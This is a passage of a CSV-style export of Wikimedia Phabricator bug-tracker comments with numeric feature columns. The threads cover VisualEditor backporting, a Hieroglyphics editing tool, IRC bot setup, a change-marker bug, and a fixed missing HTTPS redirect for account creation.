Have added this to the Extension page on MediaWiki.org - 
https://www.mediawiki.org/w/index.php?title=Extension:VisualEditor&diff=628258&oldid=610234",,,1358117818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-25,,0.5,0.0,0.0,0.5,0.5,5.5,2.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.5,0.5,1.5,14.5,0.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,2.0,0.0,4.0,1.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,0.0,0.5,8.0,1.5,3.5,0.5,0.5,0.0,0.0,0.5,0.5,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,4.0,8.0,3.5,1.5,9.5,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,3.0,14.5,5.5,0.0,0.0,0.0,3.0,0.0,0.5,2.0,0.0,1.0,0.5,0.0,0.0,3.6544117647058822,0.7941176470588235,"This is correct - minimum current version of MW for the VE code is 1.21/wmf5 (and this may go up as we add more functionality to MW core so that VE can work; it is possible that these changes will get back-ported to 1.19 and 1.20 by some volunteers, but we at WMF won't be looking at this whilst the extension is still in an experimental stage.

Will change this to an enhancement for that to be done, with low priority (reflecting that if a volunteer wants to do it, that'd be great).

See my comment on the wikitech-l mailing list thread: URL

Have added this to the Extension page on MediaWiki.org - 
URL"
227741,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","Hi Coiby,
which user interface skin do you use?
Is this MediaWiki installation publicly accessible somewhere?
Which versions of VE and Parsoid versions do you use?",,,1358100484,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,3.0,15.0,9.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.7575757575757576,"Hi Coiby,
which user interface skin do you use?
Is this MediaWiki installation publicly accessible somewhere?
Which versions of VE and Parsoid versions do you use?"
45118,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"<hiero>....</hiero> is unparsed but shown as plain wikitext:
https://en.wikipedia.org/wiki/User:Raymond/hiero

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/User:Raymond/hiero",Lowest,10.0,1355479200,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-flnjgejb5tcqxovz54rt,task_description,open,True,c1,1,False,False,,-29,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5609756097560976,0.5365853658536586,"<hiero>....</hiero> is unparsed but shown as plain wikitext:
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
183121,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"Moving this back to WikiHiero for writing the VisualEditor rich editor, if someone ever wants to do this (the basic source one is now done).",,,1376115313,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-flnjgejb5tcqxovz54rt,task_subcomment,,True,c1,3,True,,,5,,0.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.896551724137931,"Moving this back to WikiHiero for writing the VisualEditor rich editor, if someone ever wants to do this (the basic source one is now done)."
183115,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"The above tag lets you edit the hiero syntax and preview it.

This could be further extended to provide a hiero IME, but that's not going to be on our priority list any time soon.",,,1375554659,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-flnjgejb5tcqxovz54rt,task_subcomment,,True,c1,3,True,,,4,,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.65,0.9,"The above tag lets you edit the hiero syntax and preview it.

This could be further extended to provide a hiero IME, but that's not going to be on our priority list any time soon."
183109,Create a VisualEditor plugin tool to add/edit Hieroglyphics blocks,"Hieroglyphics support.

https://gerrit.wikimedia.org/r/77508",,,1375554460,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-flnjgejb5tcqxovz54rt,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.6,1.0,"Hieroglyphics support.

GERRIT_URL"
44735,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"Puppet config for wikibugs:

https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=blob;f=manifests/misc/wikibugs.pp

Puppet config for gerrit-wm:

https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=blob;f=manifests/gerrit.pp

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1354738560,1398113038.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ciosa56mnibqn4lx27ub,task_description,resolved,True,c1,0,True,False,False,-30,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.942857142857143,0.4857142857142857,"Puppet config for wikibugs:

URL

Puppet config for gerrit-wm:

URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
185314,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"Change 37570 abandoned by Jforrester:
wikibugs: Set up #mediawiki-visualeditor

Reason:
We gave up and moved to using pywikibugs instead.

https://gerrit.wikimedia.org/r/37570",,,1398113588,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.32258064516129,0.8387096774193549,"Change 37570 abandoned by Jforrester:
wikibugs: Set up #mediawiki-visualeditor

Reason:
We gave up and moved to using pywikibugs instead.

GERRIT_URL"
185310,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"Change 54984 abandoned by Jforrester:
Filter VisualEditor product to new mediawiki-visualeditor.log

Reason:
We gave up and moved to using pywikibugs instead.

https://gerrit.wikimedia.org/r/54984",,,1398113560,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.275862068965517,0.8620689655172413,"Change 54984 abandoned by Jforrester:
Filter VisualEditor product to new mediawiki-visualeditor.log

Reason:
We gave up and moved to using pywikibugs instead.

GERRIT_URL"
185306,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,The bugs are now being reported in #mediawiki-visualeditor by pywikibugs.,,,1398113038,,PHID-USER-muirnivxp5hzppn2a3z7,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,The bugs are now being reported in #mediawiki-visualeditor by pywikibugs.
185303,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,Related URL: https://gerrit.wikimedia.org/r/54984 (Gerrit Patch-Set: I04e82cb392f1ad680db6c469f76fb717d435c20d/1),,,1363816716,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,58.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.833333333333333,0.9166666666666666,Related URL: GERRIT_URL (Gerrit Patch-Set: I04e82cb392f1ad680db6c469f76fb717d435c20d/1)
185298,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,Related URL: https://gerrit.wikimedia.org/r/37570 (Gerrit Patch-Set: Id7405c8ee9a8658ed7afae844a870e0253a73806/4),,,1363816181,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,58.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.833333333333333,0.9166666666666666,Related URL: GERRIT_URL (Gerrit Patch-Set: Id7405c8ee9a8658ed7afae844a870e0253a73806/4)
185292,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,"gerrit-wm is done, but wikibugs is ""an almighty pile of crap"" and would need major work; moving to Lowest.",,,1360206228,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.3846153846153846,0.9230769230769231,"gerrit-wm is done, but wikibugs is ""an almighty pile of crap"" and would need major work; moving to Lowest."
185285,Setup wikibugs and gerrit-wm for #mediawiki-visualeditor,Attempted fixes in Gerrit 37566 and Gerrit 37570.,,,1354926921,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ciosa56mnibqn4lx27ub,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.8888888888888888,Attempted fixes in Gerrit 37566 and Gerrit 37570.
44222,VisualEditor: Two replacements within the same transaction and the same paragraph cause change markers to be off,"Test case:

+                       'removing then inserting a character': {
+                               'calls': [
+                                       ['pushRetain', 41],
+                                       ['pushReplace', ['i'], []],
+                                       ['pushReplace', [], ['j']]
+                               ],
+                               'expected': function ( data ) {
+                                       data[41] = 'j';
+                                       ve.setProp( data[37], 'internal', 'changed', 'content', 2 );
+                               }
                        }

This sets the second change marker on data[36]. This happens because the start offsets handled in TransactionProcessor.replace are translated using this.adjustment , but that glosses over the fact that not all adjustments captured in this.adjustment actually apply if the offset is before the cursor. Instead, we need some sort of offset translation. I tried using ve.dm.Transaction.translateOffset() but that doesn't seem to work out of the box very well.

I guess theoretically this might also be an issue with other uses of .start attributes in the replacement processor, but it hasn't led to issues so far.

Low prio because we currently don't generate transactions that trigger this case.

--------------------------
**Version**: unspecified
**Severity**: major",Lowest,10.0,1353134520,1360975473.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-guukovmsjsnlpphgujcv,task_description,invalid,True,c1,0,False,False,True,-33,,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,2.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,9.0,0.0,0.0,0.0,1.6666666666666667,0.0,5.0,6.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,12.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,3.0,1.0,4.0,1.6666666666666667,4.333333333333333,5.666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,3.0,6.333333333333333,1.6666666666666667,0.0,8.0,0.0,3.0,0.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,4.666666666666667,4.671327507282563,0.5915938410320433,"Test case:

+                       'removing then inserting a character': {
+                               'calls': [
+                                       ['pushRetain', 41],
+                                       ['pushReplace', ['i'], []],
+                                       ['pushReplace', [], ['j']]
+                               ],
+                               'expected': function ( data ) {
+                                       data[41] = 'j';
+                                       ve.setProp( data[37], 'internal', 'changed', 'content', 2 );
+                               }
                        }

This sets the second change marker on data[36]. This happens because the start offsets handled in TransactionProcessor.replace are translated using this.adjustment , but that glosses over the fact that not all adjustments captured in this.adjustment actually apply if the offset is before the cursor. Instead, we need some sort of offset translation. I tried using ve.dm.Transaction.translateOffset() but that doesn't seem to work out of the box very well.

I guess theoretically this might also be an issue with other uses of .start attributes in the replacement processor, but it hasn't led to issues so far.

Low prio because we currently don't generate transactions that trigger this case.

--------------------------
**Version**: unspecified
**Severity**: major"
205956,VisualEditor: Two replacements within the same transaction and the same paragraph cause change markers to be off,With bug 45061 all change marker code has been removed.,,,1360975473,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-guukovmsjsnlpphgujcv,task_subcomment,,True,c1,1,True,,,-20,,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,1.0,With bug 45061 all change marker code has been removed.
55651,Redirect to HTTPS for account creation,"Now the HTTP login page redirects to the HTTPS version, but for some reason creating an account is exempt.

Is there any reason to allow the login details to be sent in cleartext even once?

What I expect: [1] should redirect to [2]

[1] http://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup

[2] https://en.wiktionary.org/w/index.php?title=Special:UserLogin&returnto=Wiktionary%3AMain+Page&type=signup

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Unbreak Now!,100.0,1378034760,1380742050.0,PHID-USER-pwsgofaoir7tnszvfzqi,False,,False,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_description,resolved,True,c2,3,True,False,True,0,True,2.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,7.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,12.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,4.0,0.0,1.0,7.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,6.0,3.4096385542168677,0.6385542168674698,"Now the HTTP login page redirects to the HTTPS version, but for some reason creating an account is exempt.

Is there any reason to allow the login details to be sent in cleartext even once?

What I expect: [1] should redirect to [2]

[1] URL

[2] URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
255648,Redirect to HTTPS for account creation,"Woops

https://gerrit.wikimedia.org/r/86314
Merged",,,1380742050,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,"Woops

GERRIT_URL
Merged"
255641,Redirect to HTTPS for account creation,"csteipp: Any news here, after Tyler's reply?",,,1380725902,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,5,True,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,"csteipp: Any news here, after Tyler's reply?"
255635,Redirect to HTTPS for account creation,"I can't seem to recall why I put that condition there. I don't think there was a reason. The commit this condition was added on was way back in 565014a8, when I originally fixed $wgSecureLogin functionality (because before that the feature was completely broken and didn't work). It should be safe to just take that out of the if() statement.",,,1378786846,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,1.0,3.0,4.0,1.0,1.0,1.0,0.0,1.0,1.0,4.0,0.0,0.0,1.0,5.0,0.0,15.0,14.0,0.0,3.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,1.0,5.0,7.0,8.0,5.0,1.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,14.0,1.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8767123287671232,0.7397260273972602,"I can't seem to recall why I put that condition there. I don't think there was a reason. The commit this condition was added on was way back in 565014a8, when I originally fixed $wgSecureLogin functionality (because before that the feature was completely broken and didn't work). It should be safe to just take that out of the if() statement."
255626,Redirect to HTTPS for account creation,"I have vague memories of doing that for a reason, but I can't seem to find it right now. Git blame points to Tyler for the $this->mType !== 'signup' in the code. Tyler, do you remember why signup was excluded there?",,,1378747956,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-x5ughqvejzz4ni6h3g5g,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,6.0,2.0,10.0,2.0,2.0,8.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,10.0,12.0,4.0,2.0,4.0,0.0,10.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.3653846153846154,0.8076923076923077,"I have vague memories of doing that for a reason, but I can't seem to find it right now. Git blame points to Tyler for the $this->mType !== 'signup' in the code. Tyler, do you remember why signup was excluded there?"
